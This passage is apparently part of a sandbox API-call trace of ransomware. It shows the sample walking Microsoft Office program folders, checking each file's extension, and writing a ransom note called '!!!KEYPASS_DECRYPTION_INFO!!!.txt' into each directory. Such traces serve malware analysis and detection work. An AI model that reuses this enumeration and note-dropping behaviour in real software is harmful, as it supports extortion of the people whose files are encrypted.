hTemplateFile=0x0) returned 0xa8c [0258.177] GetFileType (hFile=0xa8c) returned 0x1 [0258.177] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0258.177] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0258.177] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0258.178] WriteFile (in: hFile=0xa8c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0258.178] WriteFile (in: hFile=0xa8c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0258.178] CloseHandle (hObject=0xa8c) returned 1 [0258.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x38760c0 [0258.179] FindNextFileW (in: hFindFile=0x38760c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.179] FindNextFileW (in: hFindFile=0x38760c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.179] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.179] FindNextFileW (in: hFindFile=0x38760c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.179] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0258.179] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.179] GetLastError () returned 0x3f0 [0258.179] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.179] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lpc.win32\\images\\default\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa90 [0258.182] GetFileType (hFile=0xa90) returned 0x1 [0258.182] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0258.182] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0258.182] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0258.182] WriteFile (in: hFile=0xa90, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0258.183] WriteFile (in: hFile=0xa90, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0258.183] CloseHandle (hObject=0xa90) returned 1 [0258.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3876180 [0258.183] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.221] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.221] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.221] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.221] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\add.png") returned=".png" [0258.221] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.221] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\ArrowRight.png") returned=".png" [0258.221] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.221] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\attachment.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\cancel.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\chat.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\chat_small.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\checkmark.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\Completed.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\DownChevron.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\edit.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_blank.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_docx.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_eml.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_folder.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_html.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_jpg.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_onenote.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_pdf.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.222] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_pptx.png") returned=".png" [0258.222] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.223] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_visio.png") returned=".png" [0258.223] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.223] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_xlsx.png") returned=".png" [0258.223] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.223] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_xml.png") returned=".png" [0258.223] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.223] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\file_zip.png") returned=".png" [0258.223] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.223] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\LeftChevron.png") returned=".png" [0258.223] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.223] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\linkedin_ghost_company.png") returned=".png" [0258.223] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.223] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\linkedin_ghost_profile.png") returned=".png" [0258.223] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.223] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\linkedin_ghost_profile_large.png") returned=".png" [0258.223] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.223] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\linkedin_ghost_school.png") returned=".png" [0258.223] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.223] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\linkedin_logo.png") returned=".png" [0258.223] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.223] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\linkedin_logo_large.png") returned=".png" [0258.223] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\linkedin_logo_small.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\location.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\mail.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\mail_small.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\PersonaStatusAway.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\PersonaStatusBlocked.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\PersonaStatusBusy.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\PersonaStatusDoNotDisturb.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\PersonaStatusOffline.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\PersonaStatusOnline.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\phone.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\phone_small.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\RightChevron.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0258.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\default\\shared.png") returned=".png" [0258.230] FindNextFileW (in: hFindFile=0x3876180, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0258.231] FindNextFileW (in: hFindFile=0x38760c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0258.231] FindNextFileW (in: hFindFile=0x3875fc0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpklegal.txt") returned=".txt" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe") returned=".exe" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LYNC.EXE.MANIFEST") returned=".MANIFEST" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico") returned=".ico" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt") returned=".txt" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync99.exe") returned=".exe" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LyncDesktopSmartBitmapResources.dll") returned=".dll" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lyncDesktopViewModel.dll") returned=".dll" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe") returned=".exe" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconvpxy.dll") returned=".dll" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lyncModelProxy.dll") returned=".dll" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML") returned=".XML" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MAPIPH.DLL") returned=".DLL" [0258.231] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MAPISHELL.DLL") returned=".DLL" [0258.232] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.232] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mce.dll") returned=".dll" [0258.232] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.232] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man") returned=".man" [0258.232] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.232] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0258.232] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.232] GetLastError () returned 0x3f0 [0258.232] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.232] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa84 [0258.252] GetFileType (hFile=0xa84) returned 0x1 [0258.252] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0258.252] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0258.252] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0258.252] WriteFile (in: hFile=0xa84, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0258.253] WriteFile (in: hFile=0xa84, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0258.253] CloseHandle (hObject=0xa84) returned 1 [0258.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3876240 [0258.253] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.480] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.480] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.480] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.480] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\APPLAUSE.WAV") returned=".WAV" [0258.480] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\ARROW.WAV") returned=".WAV" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\BOMB.WAV") returned=".WAV" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\BREEZE.WAV") returned=".WAV" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\CAMERA.WAV") returned=".WAV" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\CASHREG.WAV") returned=".WAV" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\CHIMES.WAV") returned=".WAV" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\CLICK.WAV") returned=".WAV" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\COIN.WAV") returned=".WAV" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\DefaultHold.wma") returned=".wma" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\DRUMROLL.WAV") returned=".WAV" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\EXPLODE.WAV") returned=".WAV" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW 